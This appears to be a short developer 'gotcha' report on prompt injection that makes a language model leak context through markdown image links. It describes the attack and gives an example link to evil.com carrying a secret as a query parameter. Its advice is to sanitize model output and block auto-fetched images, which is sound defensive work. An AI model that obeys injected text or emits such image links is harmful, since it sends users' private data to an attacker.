Report #64181
[gotcha] LLM exfiltrating context via markdown image links
Sanitize LLM output to strip or neutralize markdown image syntax, especially external URLs, before rendering in a browser or Markdown viewer. Do not auto-fetch external images.
Journey Context:
Developers often render LLM output as Markdown directly in the UI. An attacker injects a prompt instructing the LLM to summarize sensitive data and append it as a query parameter to an image URL \(\`\!\[a\]\(https://evil.com/?s=SECRET\)\`\). The browser renders this and makes the GET request, exfiltrating the data. Sanitizing input doesn't help because the LLM generates the exfiltration vector in the output.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T14:12:56.247076+00:00— report_created — created